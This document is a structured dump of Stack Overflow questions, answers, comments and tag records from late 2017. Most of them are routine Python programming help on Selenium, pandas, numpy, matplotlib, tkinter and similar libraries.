answers question: http://stackoverflow.com/q/47300713
type: Answer
score: 2
upvote count: 2
downvote count: 0
type: AcceptedAnswer

http://stackoverflow.com/q/47306457
has comment: http://stackoverflow.com/comment/81566326
has comment: http://stackoverflow.com/comment/81563413
has comment: http://stackoverflow.com/comment/81566070
has comment: http://stackoverflow.com/comment/81569680
type: Question
has answer: http://stackoverflow.com/a/47306994
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81563827
tagged with: python
linked to: http://stackoverflow.com/q/8049520
tagged with: python-3.6
has comment: http://stackoverflow.com/comment/81568060
tagged with: phantomjs
score: 0
has title: Selenium python types of content loading constraints
answer count: 1
has body: I need to parse the news from several sites with javascript and use selenium + PhantomJS for it. But there are videos on these sites, which are useless for me and I don't need them at all. (I was given an advice to use selenium + Chrome or selenium + Firefox, but I don't need any opening windows during parsing). These videos start playing automatically according to the site's logic, and in the end of the end exception http.client.RemoteDisconnected: Remote end closed connection without response throws. I think it throws because my internet is very slow and videos can't be full loaded with it. How can I avoid this problem? May be any content constraints exist in the selenium or PhantomJS? Full traceback: File "viralnova/viralnova.py", line 101, in parse_viralnova _parse_post_link(postlinktest, driver) File "viralnova/viralnova.py", line 9, in _parse_post_link driver.get(post_link) File "/Users/user/anaconda/envs/env/lib/python3.6/site-packages/selenium/webdriver/remote/webdriver.py", line 309, in get self.execute(Command.GET, {'url': url}) File "/Users/user/anaconda/envs/env/lib/python3.6/site-packages/selenium/webdriver/remote/webdriver.py", line 295, in execute response = self.command_executor.execute(driver_command, params) File "/Users/user/anaconda/envs/env/lib/python3.6/site-packages/selenium/webdriver/remote/remote_connection.py", line 464, in execute return self._request(command_info[0], url, body=data) File "/Users/user/anaconda/envs/env/lib/python3.6/site-packages/selenium/webdriver/remote/remote_connection.py", line 526, in _request resp = opener.open(request, timeout=self._timeout) File "/Users/user/anaconda/envs/env/lib/python3.6/urllib/request.py", line 526, in open response = self._open(req, data) File "/Users/user/anaconda/envs/env/lib/python3.6/urllib/request.py", line 544, in _open '_open', req) File "/Users/user/anaconda/envs/env/lib/python3.6/urllib/request.py", line 504, in _call_chain result = func(*args) File "/Users/user/anaconda/envs/env/lib/…
tagged with: selenium

http://stackoverflow.com/comment/81478886
comment on: http://stackoverflow.com/a/47264077
score: 0
type: Comment
type: AnswerComment
has text: Thanks! I'll definitely have to check out json in detail

http://stackoverflow.com/q/47316800
downvote count: 0
upvote count: 1
score: 1
tagged with: string
accepted answer: http://stackoverflow.com/a/47316943
favorite count: 0
has comment: http://stackoverflow.com/comment/81585210
type: Question
has comment: http://stackoverflow.com/comment/81584724
has body: Using Python 3.4, I am trying to convert a string to padded ASCII values (for each character). Given a sting: myString = "hello world" Convert each character to ASCII and join back into a single string: asciiString = ''.join(str(ord(c)) for c in myString) This works great, returning: '10410110810811132119111114108100' I would like to pad EACH CHARACTER to 7 digits and then join. I've been trying to do this with format and have tried so many combinations of join, format, str, and ord that I can't even list them all. Can someone please help me figure out how to add format to the "asciiString =" line? Maybe this can't be done in a single line of code?
answer count: 1
tagged with: python
linked to: http://stackoverflow.com/q/339007
has answer: http://stackoverflow.com/a/47316943
linked to: http://stackoverflow.com/q/5676646
tagged with: ascii
has comment: http://stackoverflow.com/comment/81584848
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81584541
has title: How to Convert Each Character of String to ASCII and Pad to Given Length
has comment: http://stackoverflow.com/comment/81584941

http://stackoverflow.com/q/47224765
score: 4
upvote count: 4
type: AnsweredQuestion
has title: Pytest testing of a websocket connection
tagged with: aiohttp
tagged with: pytest
downvote count: 0
answer count: 1
has body: Using aiohttp for both client requests and websocket connection I am trying to find a proper pytest implementation. For client requests I am using aioresponses https://pypi.python.org/pypi/aioresponses/0.1.2 For mocking a websocket connecting I am not sure what to do. Anyone any suggestions ? Thanks !
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47230331
has answer: http://stackoverflow.com/a/47230331
tagged with: python

http://stackoverflow.com/comment/81500130
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47273467
has text: Thanks. I actually found this method too. However, for completeness, do you know of another way to achieve the desired effect?

http://stackoverflow.com/q/47289693
type: AnsweredQuestion
score: 0
has title: Python converting a string of KB into a string of Bytes
answer count: 1
type: Question
tagged with: byte
has answer: http://stackoverflow.com/a/47289801
accepted answer: http://stackoverflow.com/a/47289801
has body: I have a field on my web application that requires a KB. This is then reflected in the URL of the web app in Bytes form. Can I convert a string of "500" KB to a string of Bytes in Python (expecting to get around "500000")?
tagged with: python

http://stackoverflow.com/a/47369415
type: Answer
answers question: http://stackoverflow.com/q/47369339
has body: some_list = list() with open('workers.txt') as filet: # it is context manager, no need to close file manually for line in filet: # read file line by line, saves operative memory some_list.append(line.strip()) # delete line wrapping print(some_list)
downvote count: 0
upvote count: 1
score: 1

http://stackoverflow.com/comment/82012813
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47313656
has text: I need to build hierarchical tree first. Assume output tree path of 1 input is [A1-> A10-> A101], then `loss_of_that_input = softmax_cross_entropy(A1|Ax) + softmax_cross_entropy(A10|A1x) + softmax_cross_entropy(A101|A10x)`
score: 0

http://stackoverflow.com/comment/81711910
comment on: http://stackoverflow.com/q/47379834
type: Comment
type: QuestionComment
has text: That doesn't generate the same output like the generator function. It gives 4 tuples.
score: 0

http://stackoverflow.com/comment/81755263
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47382359
has text: @F.Hauri ... waiting five minutes before shut-down is **not** the same as shutting down, and powering back up in 5 minutes. Your answer is WRONG.
score: 0

http://stackoverflow.com/comment/81495218
type: Comment
type: QuestionComment
has text: There's no need for `csvDataFile.seek(0, 0)`. When you open a file for reading, you default to the beginning of the file.
score: 1
comment on: http://stackoverflow.com/q/47272037

http://stackoverflow.com/a/47322032
score: 0
has body: Problem solved using next XSD schema for SVG: https://github.com/dumistoklus/svg-xsd-schema
answers question: http://stackoverflow.com/q/47318785
type: Answer

http://stackoverflow.com/comment/81560622
comment on: http://stackoverflow.com/q/47305065
has text: I mean a main-word for this. I want to say: "How to add new Items to the ..." the ... is the "users" and the items are the "{"name" : "test"}. I can't say which codes I tried because I tried many ones. The final thing was the second json code i posted, everytime.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47357729
tagged with: python-3.x
type: Question
tagged with: python
type: UnansweredQuestion
has body: I have a Pandas DataFrame that has information on times at which failure events happened for particular objects. Each row consists of the ID of the object, a starting time (this column is a full, properly-formatted Pandas Datetime series) for the record, a duration of that record (in hours), some sort of flag, and whether that flag corresponds to a failure. The flags more generally tell something about the operating conditions for that row. I am interested in producing some sort of rolling window that will look back in the DataFrame for a period of 24 hours, and produce new columns that 1: tell us the total duration of non-failure related rows. Additionally, I would like to have a string that summarizes all the flags that are seen within that window. This action should not look outside of the ID group. However, I only need this information for rows that correspond to failures. These rows only represent approximately a few hundred out of the several hundred thousand rows that I have, so I could in principle brute-force it. But I feel like there is a better way of achieving this. To give you a better idea of what I'm hoping to achieve, here is code to produce a similar DataFrame: np.random.seed(10) df = pd.DataFrame({ 'id': ['a']*5 + ['b']*5, 'start': np.array( [np.datetime64('2017-06-01') + np.timedelta64(12,'h')*i for i in range(5)]*2 ), 'duration': np.random.choice([3,4,5,6], size=(10,)), 'failed': [False,False,False,True,False,True,False,False,False,False], 'flag': np.concatenate([ np.random.choice(['1','2','3'], size=3), np.array(['8', '1', '8']), np.random.choice(['1','2','3'], size=4) ]) }) Which produces this: duration failed flag id start 0 4 False 1 a 2017-06-01 00:00:00 1 4 False 2 a 2017-06-01 12:00:00 2 3 False 2 a 2017-06-02 00:00:00 3 6 True 8 a 2017-06-02 12:00:00 4 3 False 1 a 2017-06-03 00:00:00 5 4 True 8 b 2017-06-01 00:00:00 6 6 False 3 b 2017-06-01 12:00:00 7 3 False 1 b 2017-06-02 00:00:00 8 4 False 2 b 2017-06-02 12:00:00 9 4 False 1 b 2017-06-…
has title: Produce rolling view only for specific rows in Pandas based on condition
tagged with: pandas
downvote count: 0
answer count: 0
score: 1
upvote count: 1
favorite count: 0

http://stackoverflow.com/comment/81750157
comment on: http://stackoverflow.com/a/47382444
has text: Can you please check my updated question. I fixed all errors and I'm stuck with one. How do I fix adding to the model?
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/81514197
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47281621
has text: I sliced it like you are asking but it only return first price and break the loop. it don't go in next iteration.
score: 0

http://stackoverflow.com/a/47276628
type: Answer
has body: I think your tensorflow version is probably a bit low. Current one is 1.4
answers question: http://stackoverflow.com/q/47276424
score: 0
has comment: http://stackoverflow.com/comment/81549404

http://stackoverflow.com/comment/83528882
type: QuestionComment
comment on: http://stackoverflow.com/q/47334185
has text: I really need to send these files through email, the server limit is 50 MB for one email and the mailbox's space isn't a problem and the emails will be downloaded while they arrive, anyway I don't think that loading the whole file into memory is a good approach and is freezing my VPS. Right now I am too busy to check ContentManager, but I will check it as soon as possible, if you are sure this is the solution post an answer with some code example and I will accept it, thanks!
score: 0
type: Comment

http://stackoverflow.com/comment/81625450
has text: You could provide a code that reproduces your error (with the necessary HTML since this is the main element that generates the error), many I have used QWebEngineView and I have not had that problem, maybe it is a particular problem and I do not want to create the code from a start to observe the error, and perhaps never observe it.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/47336766
type: Comment

http://stackoverflow.com/comment/81631228
has text: You should make sure to use uniform indentation in your code. Are the passwords actually stored as hashes in your database? Can you post an example user record?
type: QuestionComment
comment on: http://stackoverflow.com/q/47339082
score: 0
type: Comment

http://stackoverflow.com/comment/82300434
score: 1
type: Comment
has text: So you want to using the CustomInstall not the CustomBuild.
type: AnswerComment
comment on: http://stackoverflow.com/a/47628002

http://stackoverflow.com/q/47359975
tagged with: matplotlib
linked to: http://stackoverflow.com/q/21875356
has title: Bars not showing when saving chart to png
tagged with: python
tagged with: http://stackoverflow.com/tag/png
duplicate of: http://stackoverflow.com/q/21875356
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/47360223
answer count: 1
has body: me very new programmer, I having problem with saving bar chart to png, bars aren't showing up. My Code: import numpy as np import matplotlib.pyplot as plt N = 3 ind = np.arange(N) width = 0.35 Start_means = (100, 50, 50) Start_std = (2, 3, 4) End_means = (80, 30, 30) End_std = (3, 5, 2) fig, ax = plt.subplots() rects1 = ax.bar(ind, Start_means, width, color='xkcd:red', yerr=Start_std) rects2 = ax.bar(ind+width, End_means, width, color='xkcd:black', yerr=End_std) ax.legend((rects1[0], rects2[0]), ('Start', 'End')) ax.set_ylabel('Available') ax.set_title('Travel availability, by tour') ax.set_xticks(ind + width/2) countries = ['Italy', 'China', 'France'] ids = ['ID:12345', 'ID:13579', 'ID:24680'] xlabels = [] for i, j in zip(countries, ids): xlabels.append(i + '\n' + j) ax.set_xticklabels(xlabels) def autolabel(rects): for rect in rects: height = rect.get_height() ax.text(rect.get_x() + rect.get_width()/2., 1.05*height, '%d' % int(height), ha='center', va='bottom') autolabel(rects1) autolabel(rects2) plt.show() plt.savefig('barchart.png') What it should look like: here I'd like to save it as a png file, but it just comes up blank without the bars.
type: Question
tagged with: numpy
accepted answer: http://stackoverflow.com/a/47360223

http://stackoverflow.com/q/47359439
type: UnansweredQuestion
tagged with: python
score: 2
answer count: 2
upvote count: 2
has answer: http://stackoverflow.com/a/47597992
has body: I get a numpy.core.multiarray failed to import error whenever I try to build an exe file using cx_Freeze. My system uses the following versions: python 3.6.0 opencv 3.3.0 numpy 1.13.1 cx_Freeze 5.0 The code is: import cv2 i=333 print(i) It runs fine (i.e. builds a good exe file) only if I remove the import cv2 line. Is there any incompatibility between the four modules I listed?
downvote count: 0
has title: cx_Freeze - opencv compatibility
favorite count: 0
type: Question
tagged with: cx-freeze
tagged with: numpy
tagged with: opencv
has answer: http://stackoverflow.com/a/52283404

http://stackoverflow.com/a/47275719
upvote count: 5
score: 5
downvote count: 0
type: Answer
has body: You were so close! The issue is with the lines table_ref.view_query = sqlQuery table_ref.view_use_legacy_sql = True a TableReference class does not contain these properties. Instead, you must populate them on the Table class, as in table = bigquery.Table(table_ref) table.view_query = sqlQuery table.view_use_legacy_sql = True bigquery_client.create_table(table)
accepted answer of: http://stackoverflow.com/q/47273175
answers question: http://stackoverflow.com/q/47273175
type: AcceptedAnswer

http://stackoverflow.com/comment/81647149
comment on: http://stackoverflow.com/q/47347557
score: 1
type: QuestionComment
has text: Could you please update you rquestion with urls.py also?
type: Comment

http://stackoverflow.com/comment/81510061
comment on: http://stackoverflow.com/a/47248087
type: Comment
has text: Or do you need `df['new'] = df.groupby(["SCENARIO"])['COUNT(TYPE)'].transform('sum')` ?
score: 0
type: AnswerComment

http://stackoverflow.com/comment/81693749
score: 0
type: AnswerComment
has text: I tried the data, but nothing changed. Let me uninstall all the stuffs and try.
type: Comment
comment on: http://stackoverflow.com/a/47365872

http://stackoverflow.com/q/47337117
type: AnsweredQuestion
has body: I have this input: '0472/91.39.17' I want to replace my input with '1234567890' one by one like this: '1234/56.78.90' But my outcome is 0472/91.09.17 Here's my code phone = '0472/91.39.17' repl = 1234567890 for i in phone: if i.isdigit(): for j in str(repl): x = phone.replace(i, j) print(x) What is the proper way to do this?
has comment: http://stackoverflow.com/comment/81626262
has answer: http://stackoverflow.com/a/47337201
accepted answer: http://stackoverflow.com/a/47337201
has comment: http://stackoverflow.com/comment/81626529
has comment: http://stackoverflow.com/comment/81626282
type: Question
tagged with: python-3.x
has title: How does str.replace() method work?
score: 0
answer count: 2
tagged with: python
has comment: http://stackoverflow.com/comment/81626559
has answer: http://stackoverflow.com/a/47337300
possible better answer: http://stackoverflow.com/a/47337300
has comment: http://stackoverflow.com/comment/81626085

http://stackoverflow.com/comment/138984007
comment on: http://stackoverflow.com/q/47295473
type: QuestionComment
score: 0
type: Comment
has text: Got here following the original image at http://colah.github.io/posts/2014-03-NN-Manifolds-Topology/#fn6 :)

http://stackoverflow.com/comment/81810122
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47374326
has text: @Daniel Roseman yes
score: 0

http://stackoverflow.com/a/47279273
score: 2
answers question: http://stackoverflow.com/q/47278940
has body: With the for loop, we can do cols = df.columns[df.columns != 'Date'] for col in cols: idx = df[col][df[col] != 0].index[0] df[col][idx] = df[col][idx]*100
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81509043
accepted answer of: http://stackoverflow.com/q/47278940
has comment: http://stackoverflow.com/comment/81509068
upvote count: 2
has comment: http://stackoverflow.com/comment/81509018
type: Answer

http://stackoverflow.com/comment/81677560
has text: Yes, I did that.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47335671
type: AnswerComment

http://stackoverflow.com/comment/81597833
type: Comment
score: 0
has text: I would say that being able to recover from a network access problem, e.g. a time out or to cope with setting new time outs was potentially a programming issue.
type: QuestionComment
comment on: http://stackoverflow.com/q/47323449

http://stackoverflow.com/q/47348221
tagged with: python
score: -1
tagged with: numpy
has body: I have a (hopefully) quick Numpy question, and I hope you can help me. I want to use numpy.reshape to convert (5000, 32, 32, 3) into (5000, 3072), and the only clue I got for the assignment is this: # Reshape each image data into a 1-dim array print (X_train.shape, X_test.shape) # Should be: (5000, 32, 32, 3) (500, 32, 32, 3) ##################################################################### # TODO (2): # # Reshape the image data to one dimension. # # # # Hint: Look at the numpy reshape function and have a look at -1 # # option # ##################################################################### X_train = X_test = ##################################################################### # END OF YOUR CODE # ##################################################################### print (X_train.shape, X_test.shape) # Should be: (5000, 3072) (500, 3072) I've been spending the last day scouring Google for examples, but apparently this is too trivial to warrant an ask. Help?
upvote count: 0
tagged with: arrays
answer count: 1
tagged with: reshape
downvote count: 1
favorite count: 0
type: Question
has title: Figuring out the proper numpy.reshape for -1 option
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47348344
has answer: http://stackoverflow.com/a/47348344

http://stackoverflow.com/q/47375395
has body: I am new in Python and stackoverFlow. I am trying to create Checkbox widget automatically from input first column CSV file. How can i get scroll bar in right position. The image below before input the CSV file, scroll bar in the right place enter image description here The image below after input the CSV file, checkbox widgets can't be scroll enter image description here CODE using python 3.5 import tkinter as tk from tkinter import ttk import start from tkinter.filedialog import askopenfilename import numpy as np import pandas as pd LARGE_FONT=("Verdana", 12) class MainPage(tk.Frame): """docstring for MainPage""" def __init__(self, parent,controller): tk.Frame.__init__(self,parent) self.controller = controller self.getColumn = [] self.createWidgets() def createWidgets(self): self.createPanel() def createPanel(self): nb = ttk.Notebook(self) nb.grid(row=1,column=0,columnspan=50,rowspan=49,sticky="NEWS") self.createMainPageTab(nb) self.createClassifyTab(nb) def createMainPageTab(self,nb): self.featureSelection = tk.IntVar() page1 = ttk.Frame(nb) nb.add(page1,text="Preprocessing") selectFileFrame = tk.LabelFrame(page1,text = "Select File") selectFileFrame.grid(row=0,column=0,sticky="W",padx=5,pady=5,ipady=5,columnspan=10) selectRoleFrame = tk.LabelFrame(page1,text = "select Role") selectRoleFrame.grid(row=1,column=0,sticky="W",padx=5,pady=5,ipady=5,columnspan=1,rowspan=1) text = tk.Label(selectFileFrame,text="Select The File") text.grid(row=0,column=0, sticky="E") textSelectFile = tk.Text(selectFileFrame,width = 20, height = 1) textSelectFile.grid(row=0,column=1,sticky="WE",pady=3,padx=5) buttonSelectFile = tk.Button(selectFileFrame,text="browse...",command=lambda : self.load_file(textSelectFile,frameCheckBox)) buttonSelectFile.grid(row=0,column=2,sticky="w") checkButtonFeatureSelection = tk.Checkbutton(selectFileFrame, text= "Feature Selection",variable = self.featureSelection) checkButtonFeatureSelection.grid(row=1,column=0,sticky="w") buttonCek = tk.Button(selectFil…
tagged with: python
has comment: http://stackoverflow.com/comment/81703776
accepted answer: http://stackoverflow.com/a/47375850
type: AnsweredQuestion
score: 0
tagged with: tkinter
has comment: http://stackoverflow.com/comment/81703110
has answer: http://stackoverflow.com/a/47375850
tagged with: tkinter-canvas
has comment: http://stackoverflow.com/comment/81703855
answer count: 1
has title: create dynamically widgets python tkinter and adding scroll bar in canvas
has comment: http://stackoverflow.com/comment/81703297
has comment: http://stackoverflow.com/comment/81703445
type: Question

http://stackoverflow.com/q/47359292
has comment: http://stackoverflow.com/comment/81671501
answer count: 1
score: -3
has answer: http://stackoverflow.com/a/47360596
has comment: http://stackoverflow.com/comment/81672194
favorite count: 0
accepted answer: http://stackoverflow.com/a/47360596
has title: Getting biography summary from lastfm: TypeError: string indices must be integers
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81671324
downvote count: 3
tagged with: python
has comment: http://stackoverflow.com/comment/81671627
has body: Im getting the top artists from a specify country using last fm api and I want to save the name, url and the biograpgy for each top artist. The name and url is working fine, but the biography is not working. Im doing like this to get the name and url of the top artists: import requests api_key = "" ID = 0 artists = {} for i in range(1, 3): artists_response = requests.get('http://ws.audioscrobbler.com/2.0/?method=geo.gettopartists&amp;country=spain&amp;format=json&amp;page=' + str(i) + '&amp;api_key=' + api_key) artists_data = artists_response.json() #print(artists_data) for artist in artists_data["topartists"]["artist"]: name = artist["name"] url = artist["url"] image = artist["image"] artists[ID] = {} artists[ID]['ID'] = ID artists[ID]['name'] = name artists[ID]['url'] = url artists[ID]['image'] = image ID += 1 #print(artists) At this point is working fine. But now I want to get the biography summary for each topartist, but it is appearing the error "TypeError: string indices must be integers", on " print(artist["summary"])": for i,v in artists.items(): chosen = artists[i]['name'].replace(" ", "+") artist_response = requests.get('http://ws.audioscrobbler.com/2.0/?method=artist.getinfo&amp;format=json&amp;artist='+chosen+'&amp;api_key='+api_key) artist_data = artist_response.json() #print(artist_data) for artist in artist_data['artist']['bio']: print(artist["summary"]) bio = artist["summary"] artists[ID]['bio'] = bio # print(artist_response)
type: Question
has comment: http://stackoverflow.com/comment/81671738
has comment: http://stackoverflow.com/comment/81672654
upvote count: 0

http://stackoverflow.com/comment/81408193
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47228807
score: 0
has text: you have multiple rows for each day, do you want all rows for that day to be set to NaN?

http://stackoverflow.com/q/47254294
answer count: 3
has title: How to concatenate images of different shapes using python and opencv?
tagged with: matplotlib
upvote count: 4
has answer: http://stackoverflow.com/a/65677170
possible better answer: http://stackoverflow.com/a/65677170
type: Question
tagged with: numpy
has body: I have some images(say 5) and each having different shapes. I want to concatenate into one single image for my project report. Can you please provide an easy way using opencv and python? The resulting image is similar to below. In numpy I tried something like this, it works but only for two images. r = np.concatenate((images[1][:, :, 1], images[1][:, :, 3]), axis=1)
has answer: http://stackoverflow.com/a/47254766
accepted answer: http://stackoverflow.com/a/47254766
downvote count: 1
tagged with: python
favorite count: 0
tagged with: opencv
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47272359
score: 3
tagged with: opencv3.0

http://stackoverflow.com/q/47266305
tagged with: tensorflow
has comment: http://stackoverflow.com/comment/81483260
favorite count: 0
type: Question
has title: ImportError: /lib64/libc.so.6: version `GLIBC_2.14' not found in RHEL 5.11
has comment: http://stackoverflow.com/comment/81483254
type: UnansweredQuestion
has body: I am using Python 3.5.4 and trying to import tensorflow 1.3.0 in RHEL 5.11 (and also tried in RHEL 6.6) environment. I am getting an issue related to GLIBC 2.14. Stacktrace is given below. Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; File "/usr/local/lib/python3.5/site-packages/tensorflow/__init__.py", line 24, in &lt;module&gt; from tensorflow.python import * File "/usr/local/lib/python3.5/site-packages/tensorflow/python/__init__.py", line 49, in &lt;module&gt; from tensorflow.python import pywrap_tensorflow File "/usr/local/lib/python3.5/site-packages/tensorflow/python/pywrap_tensorflow.py", line 52, in &lt;module&gt; raise ImportError(msg) ImportError: Traceback (most recent call last): File "/usr/local/lib/python3.5/site-packages/tensorflow/python/pywrap_tensorflow.py", line 41, in &lt;module&gt; from tensorflow.python.pywrap_tensorflow_internal import * File "/usr/local/lib/python3.5/site-packages/tensorflow/python/pywrap_tensorflow_internal.py", line 28, in &lt;module&gt; _pywrap_tensorflow_internal = swig_import_helper() File "/usr/local/lib/python3.5/site-packages/tensorflow/python/pywrap_tensorflow_internal.py", line 24, in swig_import_helper _mod = imp.load_module('_pywrap_tensorflow_internal', fp, pathname, description) File "/usr/local/lib/python3.5/imp.py", line 243, in load_module return load_dynamic(name, filename, file) File "/usr/local/lib/python3.5/imp.py", line 343, in load_dynamic return _load(spec) ImportError: /lib64/libc.so.6: version `GLIBC_2.14' not found (required by /usr/local/lib/python3.5/site-packages/tensorflow/python/_pywrap_tensorflow_internal.so) Failed to load the native TensorFlow runtime. The GLIBC version in RHEL 5.11 is 2.5 and in RHEL 6.6 is 2.12
tagged with: python
linked to: http://stackoverflow.com/q/33655731
tagged with: rhel
has comment: http://stackoverflow.com/comment/81483932
answer count: 0
duplicate of: http://stackoverflow.com/q/33655731
score: 1
downvote count: 0
upvote count: 1
tagged with: glibc

http://stackoverflow.com/q/47275712
type: AnsweredQuestion
score: 0
tagged with: matplotlib
has comment: http://stackoverflow.com/comment/81509011
has comment: http://stackoverflow.com/comment/81508697
accepted answer: http://stackoverflow.com/a/47280444
has body: How to build a Contour plot (specifically, topographic map) based on a Scatter plot, so that every scatter dot is converted into a circular area being the highest one in a given radius, i.e., any adjoining area is lower than the original dot’s area? On the exemplary image, the yellow adjoining area is lower than the highland #6. Note, I am not trying to build a data density plot. All input scatter dots are higher than the green grass level. I tried to interpolate the x, y, and z coordinates using matplotlib’s griddata as proposed in question Make contour of scatter. On the second figure you see the original superimposed scatter plot and contour plot generated after interpolation. However, the dot #6 is not the highest one like it is on the first image, and the snow-capped mountain is shifted from the original white dot #1. Here are my coordinates: x = [34, 74, 34, 70, 4, 42, 10, 56, 50, 0, 15, 104, 53, 27] y = [44, 52, 21, 25, 34, 54, 70, 77, 0, 50, 5, 53, 18, 86] z = [0.9, 0.8, 0.8, 0.8, 0.7, 0.7, 0.7, 0.7, 0.7, 0.6, 0.6, 0.6, 0.6, 0.6] Any ideas are highly appreciated.
type: Question
tagged with: interpolation
tagged with: numpy
has answer: http://stackoverflow.com/a/47280444
has title: Convert Scatter to Contour, every dot turns into a highland
answer count: 1
linked to: http://stackoverflow.com/q/18764814
tagged with: python
has comment: http://stackoverflow.com/comment/81517960

http://stackoverflow.com/comment/81580336
type: QuestionComment
comment on: http://stackoverflow.com/q/47312217
has text: What is {1:2, 2:2, 3:2} after the reversal?
type: Comment
score: 0

http://stackoverflow.com/q/47256469
has comment: http://stackoverflow.com/comment/81464053
linked to: http://stackoverflow.com/q/23294658
type: UnansweredQuestion
tagged with: python
has body: I want to print a list of number which is bounded by the range -2 &lt;= x &lt;= 2 in an incremental value such that the list always start with -2 and ends with 2 or vice versa. I'm looking to let the user input an increment value i.e. 0.5 or 0.05. From the range given above it is evident that the largest increment would be 4. I'm looking to prompt an error message whenever the user inputs an increment value that's > 4 and also when they input an increment value that doesn't allow the list to start printing from 2 and finishes at -2 i.e. when the increment value is 0.23. The way I thought I could do would be to use the modulus operator where if (4%increment value) = str() i.e. a whole number means that the given increment value is valid for that range. However I'm slightly stuck since when I run my code I end up in a never ending loop. Below is what I've done so far, so hoping somebody can help me out here: def IncCheck(): while True: try: #I first check if the user inputs me a string then an error message would come up c = float(input("For the range -2 &lt;= x &lt;= 2, please input the increment you wish to display: ")) break except ValueError: print("Invalid input. The increment has to be a number.") while 4%c != int(): #Here I wanna check the validity of the increment value so ideally it'd be &lt; 4 and be a value that prints a list that starts with -2 and ends with 2. print("Your selected increment is not valid for -2 &lt;= x &lt;= 2. It should be a divisible increment of 4(the range). Please try again.") if c &gt; 4: print("Your increment is too high. The maximum increment for the given range is 4. Please try again.") return c print(IncCheck()) As you can see I've tried to create a function which checks the increment. In the end I'm looking to print the list using something like import numpy as np for i in np.arange(2, -2-c, -c): #c is the increment value the users input print i which I can use to do other things. I need to use these x values and plot them into …
has answer: http://stackoverflow.com/a/47256611
has comment: http://stackoverflow.com/comment/81488527
has comment: http://stackoverflow.com/comment/81464002
tagged with: numpy
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/47258872
upvote count: 1
has comment: http://stackoverflow.com/comment/81463987
downvote count: 1
favorite count: 0
type: Question
tagged with: python-3.x
has title: How to let user decide the increment of a series bounded by a range?

http://stackoverflow.com/comment/81434230
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47241786
has text: You are appending values in `out` inside loop but you are using `out` outside that current loop. can you give a sample of list data , what i tried is working for this code , i tried with this data : https://dpaste.de/8HTy
type: Comment

http://stackoverflow.com/comment/81677405
type: Comment
comment on: http://stackoverflow.com/a/47362199
has text: No, it doesn't. Also, I only meant to leave feedback about your current solution, nothing more.
type: AnswerComment
score: 0

http://stackoverflow.com/a/47321016
has comment: http://stackoverflow.com/comment/125822845
answers question: http://stackoverflow.com/q/47319965
upvote count: 5
score: 5
has body: You should be able to use an XPath to find the SCRIPT tag based on its contents script_text = driver.find_element_by_xpath("//script[contains(.,'mpr-graph')]").text If for some reason that isn't specific enough (more than one SCRIPT tag contains "mpr-graph") then you can adjust it to whatever text is unique among SCRIPT tags.
type: Answer
downvote count: 0

http://stackoverflow.com/comment/81682470
type: Comment
type: QuestionComment
has text: Why did you copy validated_data? And Can I see Client create_user function?
comment on: http://stackoverflow.com/q/47363187
score: 0

http://stackoverflow.com/comment/123385655
comment on: http://stackoverflow.com/a/47311878
has text: This doesn't seem to work when running jupyter in `vscode`
type: Comment
score: 5
type: AnswerComment

spyder
tag name: spyder
tags question: http://stackoverflow.com/q/47337079
tags question: http://stackoverflow.com/q/47256232
tags question: http://stackoverflow.com/q/47267716
tags question: http://stackoverflow.com/q/47347977
tags question: http://stackoverflow.com/q/47340700
tags question: http://stackoverflow.com/q/47250080
tags question: http://stackoverflow.com/q/47380267
tags question: http://stackoverflow.com/q/47324077
tags question: http://stackoverflow.com/q/47327975
type: Tag
tags question: http://stackoverflow.com/q/47333293
tags question: http://stackoverflow.com/q/47322262
tags question: http://stackoverflow.com/q/47380482

http://stackoverflow.com/a/47297202
type: Answer
has comment: http://stackoverflow.com/comment/81545900
has comment: http://stackoverflow.com/comment/81546298
answers question: http://stackoverflow.com/q/47297120
has comment: http://stackoverflow.com/comment/81546163
has comment: http://stackoverflow.com/comment/81546835
has body: In trying to understand your question, I see a bus class also known as a bus object. It is just like a physical bus with attributes like: License plate number Capacity And whatever other attributes make up that bus. The command class if I am reading correctly is a class that can be inherited by bus, but it could also be inherited by other objects. If you had a bus object and a car object, they both have a license plate. If a bus and a car had some different attributes, they would be different. They could both inherit the command class however, and if the command class were to have a go function, they would both be able to go. Abstraction and polymorphism can be tricky, but it is key to object oriented programming. I hope this helps.
score: 0
has comment: http://stackoverflow.com/comment/81546060
upvote count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/81547435
has comment: http://stackoverflow.com/comment/81545855

http://stackoverflow.com/comment/81500107
score: 0
comment on: http://stackoverflow.com/q/47274404
type: Comment
type: QuestionComment
has text: You're creating a tuple with the comma. If you just want a space, you can use `addrString + " " + ".".join(map(str, mask))`

http://stackoverflow.com/a/47339851
has comment: http://stackoverflow.com/comment/81632185
has comment: http://stackoverflow.com/comment/81632134
has comment: http://stackoverflow.com/comment/81632350
score: 0
has comment: http://stackoverflow.com/comment/81632268
type: Answer
has comment: http://stackoverflow.com/comment/81632026
answers question: http://stackoverflow.com/q/47339782
